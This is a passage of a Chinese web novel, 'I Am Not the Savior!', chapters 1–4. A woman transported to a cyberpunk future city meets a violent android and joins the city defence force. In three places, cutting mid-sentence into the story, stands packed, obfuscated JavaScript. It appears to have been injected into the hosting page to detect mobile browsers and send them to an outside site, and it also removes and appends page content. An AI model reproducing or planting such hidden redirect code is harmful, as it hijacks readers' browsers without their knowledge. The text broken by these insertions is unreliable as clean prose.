《我不是救世主!》 1. 城防军01 宿九是从手术台上醒来的。 惨白的灯光将她的脸照得像是从地里爬出来的死人。 “你醒了?”穿着白大褂的男人从暗处走过来,手里拿着一个注射器。 宿九坐在白色的架子床上,周围的光线很暗,整个空间里只有她头顶的灯冒着白光。 她盯着正在逼近的陌生面孔,心跳咚咚作响。 这是什么地方?!她刚才不是还在办公室里睡午觉吗? 难道她被什么人绑架了?可是她矜矜业业当个普通小员工,从来没有得罪过什么人啊? 二十四孝好员工好同事说的就是她! 宿九看着近在眼前的针头,强忍住尖叫的冲动,不敢呼吸。 好在,男人只是盯着她看了几秒,就转过了身。 男人背对着她,声音没有丝毫起伏:“感觉怎么样?” “呃。”宿九声音发紧,不敢再沉默,“还好。” “嗯,稍等,我再给你做个检查。” 男人单手扶了下自己的眼镜,动作间,露出了自己身前的东西。 宿九看见他堪称温柔地将注射器前端一指长的针头插进一支细细的管子里,然后慢慢将里面的不明液体推了进去。 而细管子连接的那头,是一个透明罐子,里面装着三分之二的红色液体。 当他抽出注射器时,宿九感觉罐子里的液体似乎变得更鲜红了。 这到底是什么地方?!宿九头皮都麻了,脑子不停闪过各种恐怖片的画面。 她不会要被人割腰子吧…… 然而,男人似乎看出了她的恐惧。 “你不用害怕,我是你的新医生。”他从旁边的台子上拿起一个类似平板的东西,然后举起来,对着宿九扫描,“嗯,心跳略微过快。” 他抬起头,镜片下的眼睛十分平静:“放松。” 宿九深呼吸,悄悄抹了下手心的汗。 她试探地问道:“我这是怎么了?” “你受了伤,失血过多,但救治及时,现在已经无碍了。” 受伤?她什么时候受伤了? 而且……宿九仔细感受了一下,她除了心跳明显过快之外,没感觉到任何不适啊? 她下意识朝自己的手腕内侧看去,上面有一个像花瓣的小胎记。 是自己的身体没错。 宿九犹豫着开口:“那伤口?” 男人看向她的眼神怪怪的:“你是在瞧不起我?” 宿九:“呃……”不是,她有这个意思? “放心,几秒钟就给你修复好了。”男人说着突然抬头,“你不会也想留疤吧?” 不等宿九的回答,他就自言自语地嘟囔起来:“伤疤即勋章的说法早八百年前就没了,现在只有傻子和穷鬼才会有这些丑陋的疤痕。” 一个是不愿意去掉,一个是没钱去掉。 宿九不知道说什么,只好僵硬地笑了笑,然后保持沉默。 但她心里远没有表面上装的这么平静,以她浅薄的认知,她可能遇见了小说主角才会遭遇的事情——她穿越了,而且多半还是身穿! 冷静,千万不能慌。 宿九轻手轻脚地下床,当双脚踩在地上时,她才有了一丝并不算实的实感。 男人只是瞥了她一眼,然后从兜里掏出一张卡片:“这是你的身份卡,拿好。” 这个叫身份卡的东西应该是某种金属材质,摸起来很有质感。 估计就是身份证一类的东西,只不过有点未来科技的味道。 宿九将身份卡揣进裤兜,默默往门口的方向挪了两步。 她观察过了,那扇不仔细看都分辨不出来的隐形门,应该就是这间屋子唯一的出口了。 虽然脑子里还有无数疑惑,但她现在只想马上离开这个地方。 一个身份不明的医生,一间密闭昏暗的房间,还有一个懵逼的她,宿九真的感觉下一秒就要被割腰子了。 “那我走了。”她用陈述句的语气。 男人没什么反应,甚至都没再看她一眼,一直低着头捣鼓着什么东西。 “嗯,记得明天去城防军报到,以后有什么事,直接联系我。” 宿九完全摸不着头脑,只一味地点头说“好”。 出门后,是一条狭窄昏暗的通道,顶上的灯一闪一闪的,有种年久失修的破败感。 宿九看着自动合上的这扇门,上面挂着一幅牌匾,写着“美容整形”四个大字。 接下来一路往外走,宿九都在不停地观察周围。 足浴按摩、舞蹈健身、杂货店…… 这一条并不算长的路上,居然什么都有,但宿九总觉得不是那么的正经。 她加快离开的步伐,然后推开了尽头的那扇大门。 一道刺眼的光线闪过,她下意识抬手挡住眼睛。 “让开,别挡道。”拎着黑色公文包的男人从她面前匆匆走过,语气十分冷漠。 宿九没在意,只是怀着一肚子疑问,望向眼前陌生的景象。 此处位于十字路口,她的正对面是一栋玻璃大厦,二十几层楼的高度,二三层之间挂着“未来集团”四个字。刚才那道刺眼的光就是从那边反射过来的。 街上的人不多,准确的说,是和她长得差不多的人不多。 其他的,有曾经科幻电影里才会出现的人形机器人,穿了衣服的露着机械头和四肢,没穿衣服的全身上下都是泛着冷光的铁疙瘩。以宿九目前的审美来看,宽肩窄腰九头身,长得倒是挺养眼。 还有一些短手短脚的小机器人,圆乎乎的身体穿梭来穿梭去,非常之灵活。 以及有人还牵着猫猫狗狗,但看了一会儿,宿九才发现,那些也都是机械做的,毕竟谁家真狗狗有六只腿,还能把脑袋缩进肚子里变成代步平衡车。 看着眼前的一切,宿九脑袋里只有两个字:荒谬。 突然,一声巨响吸引了她的注意。 只见一辆看起来十分酷炫的跑车漂移不成,直接翻了车,狠狠地撞飞了路边正常行走的矮胖机器人。 而正要过马路的男人一并遭了殃,整个身子被车子压过,然后卷进了底盘下。 机器人咯吱咯吱地动了动身子,很快就从地上爬了起来,它缓了几秒,似乎在识别着什么。 宿九看见它踩着地上的血迹,来到那辆车子旁,毫无感情的声音响起:“无生命体征,确认死亡。” 她这是目睹了一场车祸? 人呢?开车的、被撞的,都死了? 这样的事情要是放在她原来的世界,多半立马就围满了热心群众,拍照的、打急救的、叫警察的,早就忙作了一团。 可这里,路过的人只是淡淡地看了一眼,没什么反应。 宿九站在原地,然后一把拉住正要从她面前走过的人,天真地问道:“那边死人了?” 被拉住的女人没有直接甩开她,但看她的眼神很奇怪,就像是在看什么稀有动物一样。 “嗯,死了。”她说。 宿九迅速缩回了手,女人也立马走了。 很快,撞人的车子被几个机器人抬走了。 宿九从头到尾都没有看到司机,而被撞的那个男人浑身是血地倒在地上,旁边的地上躺着他的黑色公文包。 大概过了几分钟,来了一辆黑色的四方形车子,从侧面看,像一个装了轮子的棺材,车上走下来两个穿着统一服装的人形机器人,胸前的铭牌上刻着“逝收所”三个规整的白字。 男人的尸体和地上的血迹很快便被打扫干净,一切又恢复了原样。 半个小时后,宿九站在路边,仰头望着天上飞来飞去的无轨列车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141300|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上划过一滴不存在的热泪。 看!这子弹头的铁皮小家伙,是多么的熟悉,多么的令人热泪盈眶啊! 虽然这个不是在地上跑的,而且身子还短了些,但宿九不在乎,因为重要的是,它给了她一种回家的感觉。 宿九看着越来越近,最后在她面前停下的列车,毫不犹豫地走了上去。 “哐当”一声,车门合上,如旱地拔葱般,列车飞向了天空。 车厢里没什么人,宿九连忙找了个位置坐下,她现在确实是要回家了。 先前的半个小时里,她并不是什么都没干,秉持着不懂就要问的好学精神,她成功获得了自己的家庭住址。 不过代价是,别人以为她是个一无所知、脑子有问题的傻子。 原来那个医生给她的身份卡,是集身份证、通讯、支付、网络于一体的超级功能设备。 相当于至臻版的未来式智能机加身份系统。 宿九用指纹、人脸和瞳孔三重验证启动了身份卡,原本薄薄的金属卡片立马变成了半透明的手机形状。 她用了两分钟研究里面的功能,作为使用过现代科技产品的年轻人,宿九很快就上手了,紧接着她便发现邮箱里躺着一条未读消息。 【请宿九同学于2081年10月5日早八点半到城防军办事处报到。】 那个医生也和她说明天要去城防军报到来着。 宿九不免猜测起她和医生的关系,正常的医患关系,医生会知道她什么时候去哪里报到吗?甚至还专门提醒她。若两人是朋友的话,可对方说是她的新医生。 所以说,他们大概率不是什么相熟的关系。 宿九点开邮件所附加的位置,一张圆形地图出现在屏幕上,放大的坐标上写着“城防军办事处”,下面还有一行小字:上城区城主府003号。 距离她此时的位置有十公里。 过了几分钟,列车到达“秀中路站”,宿九匆匆下了车。 几分钟前还是阳光明媚的天气,这会儿已经阴云密布,有种随时都会下雨的感觉。 她望着眼前密密麻麻的楼房建筑群,一时间都有些恍惚,这跟她印象中的城中村实在是太像了! 无轨列车停靠的地方,是在这片区域的外围,宿九站在此处,感觉自己正被什么东西挤压着一样,总觉得有些呼吸不畅。 她的背后是高楼林立的大厦和宽阔的沥青马路,而前方是老旧水泥堆砌的丛林,十几二十几层的楼房,散发着臭味似的,你贴着我我贴着你。 地图上显示,秀中路102号,也就是她即将要入住的家,还要往里走十几分钟。 宿九叹了口气,无可奈何地走了进去。 谁懂啊,她奋斗半生好不容易在大城市的小区买了房子,结果一朝穿越,成功入住破破烂烂城中村。 宿九抬头望天,可天空好似被切割成了一小块,周围的光线在踏入这里时就暗了很多。 诶,等等……她两只眼睛的视力都3.0,属于摘了眼镜啥也看不清的程度。 她立马抬手摸向眼睛,又伸出中指抠了抠眼珠子。 没眼镜,也没隐形,她居然能看清最高那层楼阳台上晾着的蓝色裤衩,上面还有一只机器猫的图案。 难不成穿越还带视力修复的功能? 宿九顿时觉得这波穿越好像也不是不行。 可能只有近视的人才懂她此刻的满足吧。 更何况还是她这种隔着马路将垃圾桶旁的塑料袋看成断手报了警,最后被警察叔叔教育不要报假警。 宿九露出了来到这个世界后的第一个发自内心的笑容。 然而她再低头一看,泥土混着不明水渍,一脚下去就弄脏了她的鞋子。 小白鞋秒变小灰灰。 果然,做人还是不能太容易满足。 2. 城防军02 宿九纳闷儿了,怎么都走十分钟了,她连一个人都没有看见呢。 不知道的还以为她来了什么无人生还之地,虽然这地方确实是有点那氛围,弯弯绕绕的像是在走迷宫一样。 宿九拐了不知道是第几个弯,再次经过一个转角时,她总算是看见了几个人。 巷道另一端,五个穿着同样服装的男生,哦不,是六个。 还有一个黑发男生被其他五个堵在墙角,正抱着头蹲在地上。 宿九愣一下,她这是闯进霸凌现场了? 紫毛男生重重地往黑发男生身上踹,两脚就将人踹倒在地,完了还拍了拍他的脸,轻蔑地说:“你不是第一名吗?第一名就这水平?” 旁边的人笑着接话:“文化课第一,又不是实战课第一,哈哈哈哈D级异能,还是最没用的五感,你们说好笑不好笑。” “卢愿,你站起来啊,别躺着,远哥都没用力呢。” “诶,你们知道吗?我听说卢愿他妈,是个卖废铁的。” “哦?怪不得这么穷,我说卢愿啊,你要不跟远哥道个歉,说不定远哥心情好了,就免费赏你几个金币了。” 宿九已经将身份卡当成手机使用了,她刚拍照搜索,知道了他们穿的衣服,是属于第一中学的校服。 而且她还发现,自己的视力好了之后,听觉也敏锐了很多,那群男生的声音她隔了几十米都听得一清二楚。 啧,没想到这个世界也有霸凌同学的事情啊。 那她是管还是不管呢? 宿九正纠结着,没想到对方率先发现了她的存在。 “远哥,那边有人!” “谁?” 当紫毛转过身来,得益于新获得的视力,宿九一眼就看清了紫毛的脸。 算得上是清秀的长相,只是右眼的瞳孔是灰色的,在看到她的一瞬间,里面的纹路亮了一下。 这是……机械眼。 宿九暗道不妙,她正打算扭头就走,但未来得及,紫毛直接瞬移到了她的面前。 宿九立马往后退了半步,好险,差点就脸贴脸了。 “你录像了?”紫毛盯着她,语气不善。 宿九感觉自己多少有点背,怎么回个家还碰上了社会小紫毛呢?而且好像还是有特异功能的那种,瞬移这种技能她只在电视里见过啊! 俗话说伸手不打笑脸人,她微笑着摇了摇头:“没有没有,我只是路过。” 眼看其他几个人也跟着围了上来,宿九从空隙里看到那位黑发男孩儿趴在地上,往她的方向看了一眼。 “我真的只是路过。”宿九无奈道。 “你说路过就是路过啊,把你的身份卡交出来,我们要检查过才算数。” 宿九在见识过紫毛的瞬移后,便知道自己是不能硬碰硬了,虽然这几个都是学生,可能都还没有成年,但他们不知道是吃什么长大的,一个个都人高马大的,而且说不准还有什么她没见过的特异功能。 她一刚穿越过来的现代人,说实话,还真有点害怕。 但好在她有一个优点,就是会装。 输人输阵不输气势。 宿九保持双手插兜的姿势,笑不达眼底:“你们是第一中学的学生?” 紫毛的小跟班,黄毛,吊儿郎当地看着她,典型的混混嘴脸:“你管我们是谁,让你交就交,废什么话。” 宿九没管他,只是淡定地看着紫毛:“趁我现在心情还不算太差,赶紧带着你的同学回家,待会儿我城防军的同事过来了,可就没有我这么好说话了。” “你是城防军的人?!”刚才的黄毛嘴角一僵。 宿九看着他笑了一下,转而又看向紫毛:“你们还有一分钟时间,再不走的话,你们刚才干的事儿,我就看得很清楚了哦。” 紫毛瞳孔里的纹路又闪了一下,几秒后,他才带着其他人离开。 当几个人消失在视野后,宿九松了口气。 幸好,她在列车上的时候查了一下城防军是干什么的。 对于一般人来说,大都是不愿轻易招惹城防军的。 她赌对了。 宿九看着默默爬起来靠坐在墙角的男生,这次她没再犹豫,快步走了过去。 “你还好吗?”她在男生的面前蹲下来,看见对方脸上的淤青,不由皱了皱眉。 卢愿看了她一眼,然后又垂下了眼睛,微长的额发遮住了他的眉毛,显出几分阴郁来。 他慢慢从地上站起身来,但肋骨间传来的疼痛却让他的身子晃了晃。 宿九及时扶住了他,担心道:“要不我送你去看下医生吧。” 卢愿挣开她的手,摇了摇头,他低着脑袋拍了两下衣服上的灰尘,一声不吭地走了。 本来宿九就不是一个爱多管闲事的人,这回是不巧碰上了而已,见男生不愿意,她也就不说什么了。 宿九站在原地,注视着男生离去的背影,她刚听见了那句很轻很弱的“谢谢”。 相隔不远的巷子里,黄毛跟在紫毛身边,挠了挠头:“远哥,那女的真是城防军的人啊?” 另一个男生有些不服气地道:“就算是城防军的人又怎样,我们又没犯什么事儿,他们管得着吗?” 紫毛嘴里含着糖,咬得嘎嘣作响,他拍了下黄毛的脑袋,老神在在地说:“城防军可是保护我们安全的人,你们可得放尊重点。” “哈哈哈哈尊重,我们肯定尊重。”黄毛捂着脑袋,笑完了之后神神秘秘地说,“不过我倒是听说了一件事,有关城防军的。” “什么事儿?你可别卖关子了。”其他人好奇道。 “那些精神失控的人,不都是城防军负责处理吗?可我听说啊,前几天有几个下城区的人,只是不小心惹到了城防军的人,就被他们以精神失控的名义给杀了。” “真的假的?你从哪儿听说的啊?” 黄毛呲牙一笑:“消息来源你就别打听了,反正我估摸这事儿八成是真的。” 紫毛没说话,只是默默地听着。 然而几人刚拐进另一条巷子,刚刚还在说话的人瞬间噤声。 只有紫毛反应迅速,瞬移到了不远处。 他看着倒在地上、额头上挂着同样血窟窿的四人,全身炸出了冷汗。 “你是谁?!”他惊恐地盯着对面的面具男。 面具男见他躲过了自己的攻击,似乎有些不爽。 二话不说直接闪现到他的面前,将匕首从他的太阳穴插进了脑袋里,还随便搅了两下。 看着倒在地上的五个人,面具男满意地点了点头。 “几个小朋友而已。”他擦拭着匕首,自言自语,“好久不见,你变心软了呢。” —— 宿九终于找到了她的家。 在打开门的瞬间,她眼睛亮了。 没电梯,她爬了十层楼,小喘,但问题不大。房子外面虽然破破旧旧,可里面却让她十分满意。 曾经只在电影里见过的赛博风格的房间,如今也是让她给体验到了。 整体空间是小了点,但麻雀虽小五脏俱全,是她喜欢的风格。 宿九洗了个战斗澡,湿着头发出来,结果却看见自家客厅中央站着一个黑衣人。 “谁?!”宿九汗毛顿竖,反手抄起墙角的铁棍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141301|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洗澡前她发现厕所堵了,找了老半天才找到这一个铁棍,没想到她用过之后随手一放,却成了此时唯一的防身工具。 宿九紧紧握着武器,严阵以待。 要是有什么不对劲儿,她准备先闷头给一棍子,给自己争取一点逃跑时间。 黑衣人慢悠悠地转身,他戴着黑色金属面具,整张脸被遮得严严实实。 但宿九却明显能感觉到对方正在注视自己。 “是我。”黑衣人开口了。 不是哥们儿,你谁啊? 是人能不能报上名来啊,最好再做个自我介绍!我一刚穿过来的放屁都不知道去哪儿放,认识你个鬼啊!宿九暴躁地想。 她握着棍子没动,冷声冷气道:“你谁啊?” 然而黑衣人却急切地朝她走来:“你不认识我了?” 宿九举起铁棍横在两人中间,没说话。 黑衣人懊恼似的摘下面具:“噢噢差点忘了,是我呀,阿蒙!” 当他面具下的脸露出来的那一刻,宿九诡异地沉默了。 刚才一闪而过的乌鸦头是什么玩意儿? 阿蒙两边的嘴角弯得十分整齐:“不好意思,太久没用人脸了,有点生疏。” ?? 说的是人话,可宿九怎么听不太懂了呢。 眼下的信息量太大,宿九还在思考接下来要说什么。 自称阿蒙的男人却将目光从她脸上下移,然后抬手曲指敲了两下她举着的铁棍。 “这棍子看起来不错,挺结实的。” 宿九:“……” 那啥,你没感觉到你敲的那头有点湿乎乎的吗? 阿蒙可不知道宿九在想什么,他只知道自己现在浑身都充满了能量,人类将这叫作兴奋。 他朝宿九张开双臂,语气透着喜悦:“来,打我吧。” 宿九:“……”神经病啊,我不搞s! 有短暂的一瞬间,宿九觉得这人真的有病。 她放下铁棍,心情复杂地朝沙发走去。 “你不打我了吗?为什么?”阿蒙跟着她,好像还有点委屈,“而且你刚才都没有认出我。” 宿九翻了个白眼:“我为什么要打你?” “因为我们每次见面都要打架呀,哦不,是切磋。” 阿蒙围着她转圈,嘀嘀咕咕:“那些人都太弱了!我还没碰到他们,他们就死了,一点都不好玩。我还是喜欢你,可是我们已经很久没见了,我都快忘记你打我的感觉了!” 宿九听得直皱眉头,她现在确定了,这人指定有什么大病。 而且她现在就是个手无缚鸡之力的普通人,还切磋呢,她不被单方面斩杀就很不错了。 不过……从这人的话里来看,她之前貌似是挺厉害的。 想到这里,宿九忽地生出一股强烈的危机感。 现在的她太弱了。 她压下那无法言说的恐慌,问道:“我还没问你,你是怎么进来的?” 阿蒙止住动作,往窗户的方向一指:“那里。” 宿九心下一沉,因环境陌生,她今晚洗澡洗头很快,大概十分钟。 而且这里是十楼,那面窗户外的墙体光秃秃,根本没有落脚点,他是如何能在这么短的时间里从窗户进来的? 阿蒙疑惑:“怎么了。” 宿九深深地看了他一眼:“下次要来请走大门。” 看来得全部安上防盗窗才行,还有防盗门,大炮都轰不开的那种! “哦。”阿蒙倒在沙发里,脑袋往后一仰。 “你来这儿到底是干嘛的?”宿九盯着他的一举一动,试探道。 3. 城防军03 阿蒙偏头看向她:“听说你进城防军了?” 怎么他也知道? 宿九双臂环胸,倚在沙发扶手:“嗯?” “哼,肯定又是那个人的主意,跟城主府扯上关系了没一处安生地儿。” 宿九看到过资料,城防军是城主府的下属组织,以及由潜行者组成的探索队,还有令人忌惮的监察者,都属于城主府。 这座城市,名叫“静默城”,城主府就是整座城市的官方权力机构,至少网上的资料就是这样显示的。 但,“那个人”是谁? 宿九若有所思道:“你见ta了?” 阿蒙却十分嫌弃地说:“啊啊啊我才不要见他,我怕一见到他我就忍不住想揍他!他让你干的,哪次不是见不得人的事儿?这次让你去城防军,指不定又在憋什么坏主意呢。” 阿蒙和“ta”的关系不好,而她似乎是听命于“ta”,做的事情或许并不光明。 宿九暗自思索,唉,看来她的身份并不简单啊。 她随口说道:“你没见ta,那怎么知道我在家?” “他的人给我送信了呗,让我以后配合你的任务。”阿蒙翘了个二郎腿,冷哼一声,“我这是给你干活哦,可不是给他。” 任务? 宿九有点头疼,这又是什么? “哦对了,有个东西给你。”阿蒙从怀里掏出了一个看起来普普通通的手环,“他说任务期间要佩戴上这玩意儿,反正我搞不懂,你自己研究研究吧。” 宿九抬手接了过来,然而手环一触碰到她的手指,就立即闪烁了两下。 原本白色的地方变成了一块小屏幕,上面跳出一个文件,名称写着“生态能量收集教程”。 她没有立刻查看,而是看向阿蒙:“你还有什么事儿吗?” 阿蒙眼神略显哀怨:“要是我说没什么事,你是不是马上就要赶我走了?” 宿九微笑。 “唉,好吧。”阿蒙不情愿地站起身,高大的身形在宿九身上笼上一片阴影。 然而,就在两人擦肩而过时,宿九被惊出一身冷汗。 当人与死神接近时,谁也不知道会激发怎样的本能。 若是宿九再慢半秒,那泛着冷光的匕首已经插进了她的脖子。 “你找死!” 来不及惊叹自己突然显现的敏捷和力量,宿九只觉得十分愤怒。 她的命差点就没了!这神经病真特么有病! 阿蒙被宿九反压在地上,匕首也被她夺了过去,可他却没有丝毫的不满,眼神里更多的是愉悦。 他努力扭过脸,动作间,抵在他脖子上的利刃划破了他的皮肤。 阿蒙露出一个开心的笑容:“我还是喜欢这样的你,姐姐。” 宿九盯着他的伤口,眉头紧蹙。 居然没有血? “别动。”她冷声道。 阿蒙没有听她的话,反而挣脱了她的桎梏。 宿九避开他招式狠辣的攻击,但下一秒,阿蒙闪到她的身后,黑漆漆的枪口距离她的太阳穴只有一毫米。 宿九神奇地发现,自己体内仿佛有一股力量,驱使着她的身体能够在正确的时间做出最佳的反应。 就好像,原本沉睡的战斗本能,在察觉到危及生命的威胁时,苏醒了。 她手持利刃,毫不留情地刺向阿蒙持枪的那只手,刃尖扎进皮肉里,然后割出长长的伤口。 宿九一脚将他踹向沙发,发出“砰”的闷声。 她捡起掉落在地上的手枪,走向阿蒙。 阿蒙垂着头,手臂上的伤口深可见骨,但即便这样,他也没有流血。 他居然是机器人? 宿九走近,看见他绽开的伤口下,是光滑坚硬的金属。 披着人皮的机器。 这是宿九的第一念头。 但回想起阿蒙从一开始到现在的表现,宿九又难以置信,这个世界的机器人已经达到了如此类人的水平吗? 是人还是机器,肉眼完全分辨不出来。 “痛吗?”宿九站在阿蒙的面前,问道。 阿蒙仰起头,看着她笑了:“姐姐,你是在关心我吗?” 宿九心想,我只是好奇。 但她可不会愚蠢地否认,这家伙看起来脑子可能不太好,她还是给他留一丝幻想吧。 她蹲下身平视他,仔仔细细地打量起他的脸。 这张俊美的脸下,也是冷冰冰的金属吗? 阿蒙感受到脸颊处的温度,黑色的瞳孔闪了一下,亮光转瞬即逝。 太真实了。 宿九的掌心贴在阿蒙的脸上,触感与人类几乎无差,但有一点不同。 人类的脸是有温度的,而阿蒙没有,冷得很均匀。 宿九看得正着迷,眼前却突然横过来一条手臂。 阿蒙委屈巴巴地开口:“痛。” 宿九回过神来:“真痛啊?” 阿蒙点头:“嗯!” 居然还有痛觉,宿九惊讶地想。 但那又怎样呢?反正痛的不是她,谁叫这家伙二话不说就开打呢,她只是为了保命,就是下手好像重了点。 宿九眼神飘忽了下,刚想说点什么,神奇的事情便发生了。 只见阿蒙受伤的手臂,仿佛特效一般,自动地愈合了,完好如初。 宿九:“!” 阿蒙:“……” 有那么一瞬间,他有点后悔自己有这个功能了。 两人大眼瞪小眼,宿九原本有的一丝愧疚感,瞬间消失殆尽。 她心累地站起身来:“行了,赶紧走吧。” 今天发生的事情早就超出了她的认知范围,她需要一个人静静。 等确定阿蒙真正离开后,宿九才松懈地瘫倒在沙发里。 她拿着从阿蒙手里缴过来的枪,翻来覆去地看了看。 脑子里不断回忆起先前与阿蒙打斗的画面,宿九在想,她真的是身穿吗? 这具与她原本长得一模一样的身体,好像真的很厉害。 要不是阿蒙,她不会这么快发现这具身体的能力,那是不是有可能,她还有更厉害的能力没有被激活呢? 宿九把玩着手里的枪,有些期待地想。 嗯?这枪没有子弹。 她愣了一下,随即将枪口指向墙壁,扣下了扳机。 看着打在墙上的一个爱心涂鸦,宿九无语。 —— 次日天明,宿九怀着忐忑的心情乘上无轨列车。 视野里的每一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141302|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景象,以及衣袖下的手环都在提醒着她,她已不再是那个普普通通的上班族了。 而她接下来的要做的,除了进入城防军,还要完成那个莫名其妙的任务。 昨夜,她查看了那个文件,“生态能量收集教程”看起来就是这个手环的使用教程,但阅后即焚的模式告诉她,此事并没有这么简单。 而且里面提到一些名词,令她十分困惑。 生态能量、精神失控…… 能查到的资料显示,一百年前的大灾难,造成数不清的人类死亡、动植物变异,从那时起,整个世界彻底改变,生出了一种被称作“生态能量”的东西,它如空气一般,无处不在。 生态能量会在不知不觉间干扰人类的情感,因此最初,人类大面积“疯了”。 而现在,精神失控者便是当初“疯了”的样子。 在这些人的身上,构成复杂的情感能量爆发式增长,会吸引城外废土里的怪物。 查了大量的资料后,宿九才初步窥探到这个世界的模样。 她似乎明白了,为何昨日那场在她看来颇为惨烈的车祸,目睹的人都那么地冷漠,仿佛看到只是一只被意外踩死的蚂蚁。 因为这里的人类早已习惯了压制自己的情感。 每月一次的情感检测就像悬在头顶的闸刀,提醒着众人,绝对不能越过那条情感量值的红线。 城防军办事处,位于城主府的地界。 从下城区过来的她,不得不感叹这上城区的繁华。 而城主府更甚,远远就能看见“城主府”三个大字悬在府门上方,醒目而威严。 经过身份检查,宿九成功进入。 不过她感觉自己进的不是府门,而是城门。 通过机器人的指引,等她找到城防军办事处,已经是半个小时后了。 办事处的大厅不算很大,各种机器设备和显示屏就占了一大半的空间。 “你是来报到的新人?”一位打扮干练的女人大步走了过来,“叫什么?” 宿九收回目光,回答道:“宿九。” “宿九。”女人拿着一个平板样式的东西,查找了一下,“哦?是第一军事学院毕业的高材生啊。” 但下一秒,她的表情变得有些难以言喻:“不过异能……怎么是五感。” 宿九被她诧异地看了一眼,只好回了个礼貌的微笑。 原来她有异能啊,五感? 等等,这个词儿怎么这么熟悉呢。 昨天遇到的那个紫毛黄毛,好像说过一句话,最没用的五感。 得,好消息是她也有异能,但坏消息是,她的异能好像属于最没用的那种。 “B级五感,也还行。”女人收起平板,朝她招了下手,“跟我来,我先帮你办理入职手续,然后会做一个简单的培训,以便你能尽快熟悉城防军的工作。” “我叫项秋阑,是后勤部的负责人,城防军的资源管理和人员调动都是由我负责,以后要是遇到什么问题,记住,最先反映给我,我处理不了的会往上报。” “好的。” 项秋阑将她带入了一间通体雪白的房间,吩咐道:“你坐那儿。” 宿九在唯一的椅子上坐下,头顶直射的灯光照得她眼睛有些不舒服。 4. 城防军04 项秋阑操作的同时瞥了她一眼,解释道:“你的异能是五感,视力应该非常不错,但对这种光线会敏感一些,以后出任务的时候记得保护眼睛。” 宿九没想到她会对自己解释这个,于是道谢说:“好,谢谢。” 之后,项秋阑调出了一些影像和资料,投射在她对面的白墙上。 “我们城防军分为外防队和内防队,外防队一般是驻守在城墙处,负责监控和驱退想要闯进来的怪物,内防队的主要工作就是维护城内治安,平时我们会安排不同的小队进行巡逻,这些事项都比较简单,危险系数也很低,稍微复杂一点就是处理精神失控者。”项秋阑说着停顿了一下,看向她,“我看了你的资料,情感量值很低,且非常稳定,可以说是十分优秀了,这说明你压制情感的能力很不错,在面对精神失控者时,你受影响的程度理论上说应该比较小。” 宿九回视对方,一副听得很认真的样子。 压制情感?她可不懂,按照她的认知,人类的情感是能压制的吗?她对此表示怀疑。 算了,走一步看一步吧。宿九摆烂地想。 项秋阑继续道:“新人加入城防军,都会先在内防队磨炼一段时间,如果能力优秀表现出色的话,我们会考虑将其调到外防队。” 言下之意是,外防队的人更厉害一些。 也是,毕竟听起来外防队所面临的情况更危险嘛。 宿九倒是无所谓去哪儿,只是希望在这里不会遇到什么职场歧视吧。 后面的时间,项秋阑主要给她讲解了若是工作期间遇到了精神失控者将如何处理。 程序上听起来有点复杂,什么先建立隔离区,再分离本体和“影子”,最后回收“影子”,并且着重强调了时间,一小时,一定要在一小时内成功回收“影子”,否则会出现大麻烦。 宿九听得云里雾里的,但是项秋阑安慰她说,遇到精神失控者的情况并不多,一周可能也就一两个,而且他们内防队一共有十个小组,不一定就是他们遇上呢。 总结就是,内防队的工作是十分轻松的。 “内防六组现在刚好缺一个人,你就去他们组吧。”项秋阑对她说道,“一个小时后,六组就要出任务了,你准备一下,到时候跟着他们。” 这么快?宿九有种赶鸭子上架的感觉。 “好。”她除了接受,还能怎么办呢。 半个多小时后,她见到了自己的同事们。 “你好,我叫安叶,六组的组长。”一名身形高挑、扎着高马尾的女生向她介绍道。 “宿九。”她伸出手,两人短暂地握了一下。 “新人?”旁边的黑皮壮汉视线不算友善地打量她,“什么异能?等级?” 宿九如实说道:“五感,B级。” 壮汉“啧”了一声,不屑地说:“我还以为是什么呢。” “诶诶诶,宿九是吧,你好你好,我叫易戈,异能是B级速度强化。”长着一张娃娃脸的男生将壮汉挤到一边,态度表现得很热情,“他叫陈一伟,也是B级强化异能,不过是外物强化,唉,他就这讨人厌的德性,你别在意哈,欢迎你加入我们组!” 现在宿九已经知道了这个所谓的异能是什么,反正跟她曾经看过的小说中所说的异能大差不差。 这里的异能分为强化型和生成型,顾名思义,强化型就是在已有的基础上强化其性能,分为个体自身的强化和外物强化两种,前者如她的五感、易戈的速度,还有力量、敏捷、控制力、耐受力等等;后者能够强化物体,比如能让金属变得更坚硬、刀刃变得更锋利,甚至让子弹的穿透力更强。 而生成型异能宿九目前还没有见过,据说生成型异能者非常稀少,他们能够凭空生成现场没有的东西,但生成之物其性能与个体的异能等级密切相关。 